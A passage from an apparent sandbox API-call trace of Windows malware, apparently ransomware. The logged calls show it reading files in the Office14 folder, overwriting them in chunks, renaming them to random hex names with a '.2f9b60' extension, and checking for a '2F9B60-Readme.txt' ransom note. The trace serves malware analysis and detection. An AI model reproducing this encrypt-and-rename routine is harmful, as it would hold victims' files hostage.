0x20260980 [0135.111] NtQuerySystemTime (in: CurrentTime=0x2906f520 | out: CurrentTime=0x2906f520*=132462177403450000) returned 0x0 [0135.111] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x74c6a59c [0135.111] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x2776ef5a [0135.111] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x63df7402 [0135.111] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x1839c15e [0135.111] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x6f8d0c4b [0135.111] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x6535b869 [0135.111] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x24005735 [0135.111] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x5b6cb9c6 [0135.111] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x5e9757b3 [0135.111] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x554c71fd [0135.111] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x4a085abb [0135.112] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x783d681c [0135.112] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x1697d09d [0135.112] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x1a01c476 [0135.112] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x54e88dc2 [0135.112] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x3292d963 [0135.112] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x5cba03b8 [0135.112] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x2882ad41 [0135.112] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x38a1bd0d [0135.112] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x6b19086c [0135.112] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x5281db62 [0135.112] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x5f1504e0 [0135.112] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x6eeaec20 [0135.112] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x550ebea5 [0135.112] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x7e8f0dbc [0135.112] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x2cb348ff [0135.112] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x4f6981e [0135.112] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0xc2893f9 [0135.112] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x1d33b59f [0135.112] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x74c04907 [0135.112] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0x26a7307f [0135.112] RtlRandomEx (in: Seed=0x2906f510 | out: Seed=0x2906f510) returned 0xa6e2d0b [0135.124] ReadFile (in: hFile=0x1c90, lpBuffer=0x2036f950, nNumberOfBytesToRead=0x1c99, lpNumberOfBytesRead=0x2906f510, lpOverlapped=0x0 | out: lpBuffer=0x2036f950*, lpNumberOfBytesRead=0x2906f510*=0x1c99, lpOverlapped=0x0) returned 1 [0135.149] SetFilePointerEx (in: hFile=0x1c90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.149] WriteFile (in: hFile=0x1c90, lpBuffer=0x20373560*, nNumberOfBytesToWrite=0x1c99, lpNumberOfBytesWritten=0x2906f514, lpOverlapped=0x0 | out: lpBuffer=0x20373560*, lpNumberOfBytesWritten=0x2906f514*=0x1c99, lpOverlapped=0x0) returned 1 [0135.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20505870 [0135.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205058a0 [0135.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205058a0) returned 1 [0135.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20373560) returned 1 [0135.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2036f950) returned 1 [0135.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0135.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0135.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x205058a0 [0135.347] SetFilePointerEx (in: hFile=0x1c90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0135.347] WriteFile (in: hFile=0x1c90, lpBuffer=0x167160*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2906f630, lpOverlapped=0x0 | out: lpBuffer=0x167160*, lpNumberOfBytesWritten=0x2906f630*=0x10a, lpOverlapped=0x0) returned 1 [0135.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97df0 [0135.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79de70 [0135.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267980 [0135.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267980) returned 1 [0135.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0135.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267980 [0135.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267950 [0135.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267950) returned 1 [0135.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0135.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97df0) returned 1 [0135.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0070 [0135.411] sprintf (in: _Dest=0x1cda0070, _Format="%c%c" | out: _Dest="f0") returned 2 [0135.411] sprintf (in: _Dest=0x1cda0072, _Format="%c%c" | out: _Dest="e2") returned 2 [0135.411] sprintf (in: _Dest=0x1cda0074, _Format="%c%c" | out: _Dest="13") returned 2 [0135.411] sprintf (in: _Dest=0x1cda0076, _Format="%c%c" | out: _Dest="46") returned 2 [0135.411] sprintf (in: _Dest=0x1cda0078, _Format="%c%c" | out: _Dest="5c") returned 2 [0135.411] sprintf (in: _Dest=0x1cda007a, _Format="%c%c" | out: _Dest="20") returned 2 [0135.412] sprintf (in: _Dest=0x1cda007c, _Format="%c%c" | out: _Dest="29") returned 2 [0135.412] sprintf (in: _Dest=0x1cda007e, _Format="%c%c" | out: _Dest="3e") returned 2 [0135.412] sprintf (in: _Dest=0x1cda0080, _Format="%c%c" | out: _Dest="ca") returned 2 [0135.412] sprintf (in: _Dest=0x1cda0082, _Format="%c%c" | out: _Dest="ab") returned 2 [0135.412] sprintf (in: _Dest=0x1cda0084, _Format="%c%c" | out: _Dest="36") returned 2 [0135.412] sprintf (in: _Dest=0x1cda0086, _Format="%c%c" | out: _Dest="35") returned 2 [0135.412] sprintf (in: _Dest=0x1cda0088, _Format="%c%c" | out: _Dest="59") returned 2 [0135.412] sprintf (in: _Dest=0x1cda008a, _Format="%c%c" | out: _Dest="1f") returned 2 [0135.412] sprintf (in: _Dest=0x1cda008c, _Format="%c%c" | out: _Dest="f5") returned 2 [0135.412] sprintf (in: _Dest=0x1cda008e, _Format="%c%c" | out: _Dest="1e") returned 2 [0135.412] sprintf (in: _Dest=0x1cda0090, _Format="%c%c" | out: _Dest="b6") returned 2 [0135.412] sprintf (in: _Dest=0x1cda0092, _Format="%c%c" | out: _Dest="89") returned 2 [0135.412] sprintf (in: _Dest=0x1cda0094, _Format="%c%c" | out: _Dest="d9") returned 2 [0135.412] sprintf (in: _Dest=0x1cda0096, _Format="%c%c" | out: _Dest="fb") returned 2 [0135.412] sprintf (in: _Dest=0x1cda0098, _Format="%c%c" | out: _Dest="4a") returned 2 [0135.412] sprintf (in: _Dest=0x1cda009a, _Format="%c%c" | out: _Dest="06") returned 2 [0135.412] sprintf (in: _Dest=0x1cda009c, _Format="%c%c" | out: _Dest="0c") returned 2 [0135.412] sprintf (in: _Dest=0x1cda009e, _Format="%c%c" | out: _Dest="a3") returned 2 [0135.413] RtlInitAnsiString (in: DestinationString=0x2906f6a8, SourceString="f0e213465c20293ecaab3635591ff51eb689d9fb4a060ca3" | out: DestinationString="f0e213465c20293ecaab3635591ff51eb689d9fb4a060ca3") [0135.413] RtlAnsiStringToUnicodeString (in: DestinationString=0x2906f678, SourceString="f0e213465c20293ecaab3635591ff51eb689d9fb4a060ca3", AllocateDestinationString=1 | out: DestinationString="f0e213465c20293ecaab3635591ff51eb689d9fb4a060ca3") returned 0x0 [0135.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9240 [0135.413] wcscat (in: _Dest=0x202a4140, _Source="f0e213465c20" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\f0e213465c20") returned="C:\\Program Files\\Microsoft Office\\Office14\\f0e213465c20" [0135.413] wcscat (in: _Dest=0x202a4140, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\f0e213465c20.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\f0e213465c20.2f9b60" [0135.413] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\f0e213465c20.2f9b60", NtPathName=0x2906f650, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\f0e213465c20.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0135.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050bcc0 [0135.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bcc0) returned 1 [0135.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a340) returned 1 [0135.627] NtQueryInformationFile (in: FileHandle=0x1c90, IoStatusBlock=0x2906f6b8, FileInformation=0x2906f6c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2906f6b8, FileInformation=0x2906f6c8) returned 0x0 [0135.627] NtSetInformationFile (FileHandle=0x1c90, IoStatusBlock=0x2906f6b8, FileInformation=0x2906f6c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0135.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4140) returned 1 [0135.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9240) returned 1 [0135.643] FlushFileBuffers (hFile=0x1c90) returned 1 [0138.535] CloseHandle (hObject=0x1c90) returned 1 [0138.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86b160 [0138.634] wcscpy (in: _Dest=0x1b86b160, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0138.634] wcscat (in: _Dest=0x1b86b160, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0138.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0138.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b160) returned 1 [0138.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504110) returned 1 Thread: id = 1797 os_tid = 0xc14 [0132.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\olkirm.xml")) returned 0x20 [0132.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML", dwFileAttributes=0x20) returned 1 [0133.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\olkirm.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c68 [0134.859] GetFileSizeEx (in: hFile=0x1c68, lpFileSize=0x28fefa40 | out: lpFileSize=0x28fefa40*=79692) returned 1 [0134.859] SetFilePointerEx (in: hFile=0x1c68, liDistanceToMove=0x13748, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.859] ReadFile (in: hFile=0x1c68, lpBuffer=0x28fef9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28fefa08, lpOverlapped=0x0 | out: lpBuffer=0x28fef9c0*, lpNumberOfBytesRead=0x28fefa08*=0x4, lpOverlapped=0x0) returned 1 [0134.884] SetFilePointerEx (in: hFile=0x1c68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e50 [0134.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9520 [0134.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9940 [0134.885] NtQuerySystemTime (in: CurrentTime=0x28fef900 | out: CurrentTime=0x28fef900*=132462177401266000) returned 0x0 [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x4bb5d791 [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x6c26ff76 [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x2793ec9c [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x7ac097f [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0xa81c177 [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x594c2cad [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x23b9bdce [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x25166723 [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x57d0602d [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x329a05ec [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0xe8dc387 [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x508c2e08 [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x3483aff2 [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x50bfe593 [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x5406bdb6 [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x73184683 [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x583d023b [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x30a5e2ff [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x58881f28 [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0xcfd8218 [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x37f040b5 [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x1593773f [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x772effcd [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x33710602 [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x15556d21 [0134.885] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x5237ca09 [0134.886] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x53ccd686 [0134.886] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x508db5f2 [0134.886] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x725d3a91 [0134.886] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x4711dcb4 [0134.886] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x24a88004 [0134.886] RtlRandomEx (in: Seed=0x28fef8f0 | out: Seed=0x28fef8f0) returned 0x11fb3963 [0134.898] SetFilePointerEx (in: hFile=0x1c68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.898] ReadFile (in: hFile=0x1c68, lpBuffer=0x20333560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x28fef960, lpOverlapped=0x0 | out: lpBuffer=0x20333560*, lpNumberOfBytesRead=0x28fef960*=0x3c00, lpOverlapped=0x0) returned 1 [0134.922] SetFilePointerEx (in: hFile=0x1c68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0134.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0134.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9940 [0134.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9940) returned 1 [0134.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2033e990 [0134.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9940 [0134.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6710 [0134.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6710) returned 1 [0134.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0134.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0134.924] WriteFile (hFile=0x1c68, lpBuffer=0x2033e990, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x28fef960, lpOverlapped=0x0) [0170.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2033e990) returned 1 [0170.858] SetFilePointerEx (in: hFile=0x1c68, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.858] ReadFile (in: hFile=0x1c68, lpBuffer=0x20333560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x28fef960, lpOverlapped=0x0 | out: lpBuffer=0x20333560*, lpNumberOfBytesRead=0x28fef960*=0x3c00, lpOverlapped=0x0) returned 1 [0170.930] SetFilePointerEx (in: hFile=0x1c68, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0170.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0170.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f40 [0170.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261f40) returned 1 [0170.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42121180 [0170.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f40 [0170.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608c0 [0170.933] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202608c0) returned 1 [0170.933] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0170.933] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0170.933] WriteFile (in: hFile=0x1c68, lpBuffer=0x42121180*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x28fef960, lpOverlapped=0x0 | out: lpBuffer=0x42121180*, lpNumberOfBytesWritten=0x28fef960*=0x3c00, lpOverlapped=0x0) returned 1 [0185.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42121180) returned 1 [0185.873] SetFilePointerEx (in: hFile=0x1c68, liDistanceToMove=0xfb4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.873] ReadFile (in: hFile=0x1c68, lpBuffer=0x20333560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x28fef960, lpOverlapped=0x0 | out: lpBuffer=0x20333560*, lpNumberOfBytesRead=0x28fef960*=0x3c00, lpOverlapped=0x0) returned 1 [0187.217] SetFilePointerEx (in: hFile=0x1c68, liDistanceToMove=0xfb4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0187.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0187.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd98c0 [0187.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd98c0) returned 1 [0187.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e80d80 [0187.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd98c0 [0187.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8ed0 [0187.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8ed0) returned 1 [0187.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0187.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0187.220] WriteFile (in: hFile=0x1c68, lpBuffer=0x41e80d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x28fef960, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesWritten=0x28fef960*=0x3c00, lpOverlapped=0x0) returned 1 [0205.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0205.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431a0160 [0205.403] SetFilePointerEx (in: hFile=0x1c68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.403] WriteFile (in: hFile=0x1c68, lpBuffer=0x1cebc970*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x28fefa10, lpOverlapped=0x0 | out: lpBuffer=0x1cebc970*, lpNumberOfBytesWritten=0x28fefa10*=0x146, lpOverlapped=0x0) returned 1 [0208.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616f0 [0208.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261790 [0208.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261790) returned 1 [0208.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d520 [0208.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261790 [0208.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261760 [0208.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261760) returned 1 [0208.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616f0) returned 1 [0208.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1ce5e670 [0208.858] sprintf (in: _Dest=0x1ce5e670, _Format="%c%c" | out: _Dest="de") returned 2 [0208.858] sprintf (in: _Dest=0x1ce5e672, _Format="%c%c" | out: _Dest="57") returned 2 [0208.858] sprintf (in: _Dest=0x1ce5e674, _Format="%c%c" | out: _Dest="83") returned 2 [0208.858] sprintf (in: _Dest=0x1ce5e676, _Format="%c%c" | out: _Dest="ab") returned 2 [0208.858] sprintf (in: _Dest=0x1ce5e678, _Format="%c%c" | out: _Dest="39") returned 2 [0208.858] sprintf (in: _Dest=0x1ce5e67a, _Format="%c%c" | out: _Dest="fb") returned 2 [0208.858] sprintf (in: _Dest=0x1ce5e67c, _Format="%c%c" | out: _Dest="a7") returned 2 [0208.858] sprintf (in: _Dest=0x1ce5e67e, _Format="%c%c" | out: _Dest="fd") returned 2 [0208.858] sprintf (in: _Dest=0x1ce5e680, _Format="%c%c" | out: _Dest="ae") returned 2 [0208.858] sprintf (in: _Dest=0x1ce5e682, _Format="%c%c" | out: _Dest="92") returned 2 [0208.858] sprintf (in: _Dest=0x1ce5e684, _Format="%c%c" | out: _Dest="4e") returned 2 [0208.858] sprintf (in: _Dest=0x1ce5e686, _Format="%c%c" | out: _Dest="4d") returned 2 [0208.859] sprintf (in: _Dest=0x1ce5e688, _Format="%c%c" | out: _Dest="97") returned 2 [0208.859] sprintf (in: _Dest=0x1ce5e68a, _Format="%c%c" | out: _Dest="dc") returned 2 [0208.859] sprintf (in: _Dest=0x1ce5e68c, _Format="%c%c" | out: _Dest="0c") returned 2 [0208.859] sprintf (in: _Dest=0x1ce5e68e, _Format="%c%c" | out: _Dest="5b") returned 2 [0208.859] sprintf (in: _Dest=0x1ce5e690, _Format="%c%c" | out: _Dest="54") returned 2 [0208.859] sprintf (in: _Dest=0x1ce5e692, _Format="%c%c" | out: _Dest="61") returned 2 [0208.859] sprintf (in: _Dest=0x1ce5e694, _Format="%c%c" | out: _Dest="59") returned 2 [0208.859] sprintf (in: _Dest=0x1ce5e696, _Format="%c%c" | out: _Dest="0e") returned 2 [0208.859] RtlInitAnsiString (in: DestinationString=0x28fefa88, SourceString="de5783ab39fba7fdae924e4d97dc0c5b5461590e" | out: DestinationString="de5783ab39fba7fdae924e4d97dc0c5b5461590e") [0208.859] RtlAnsiStringToUnicodeString (in: DestinationString=0x28fefa58, SourceString="de5783ab39fba7fdae924e4d97dc0c5b5461590e", AllocateDestinationString=1 | out: DestinationString="de5783ab39fba7fdae924e4d97dc0c5b5461590e") returned 0x0 [0208.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858f70 [0208.860] wcscat (in: _Dest=0x431a1650, _Source="de5783ab39" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\de5783ab39") returned="C:\\Program Files\\Microsoft Office\\Office14\\de5783ab39" [0208.860] wcscat (in: _Dest=0x431a1650, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\de5783ab39.2f9b60") 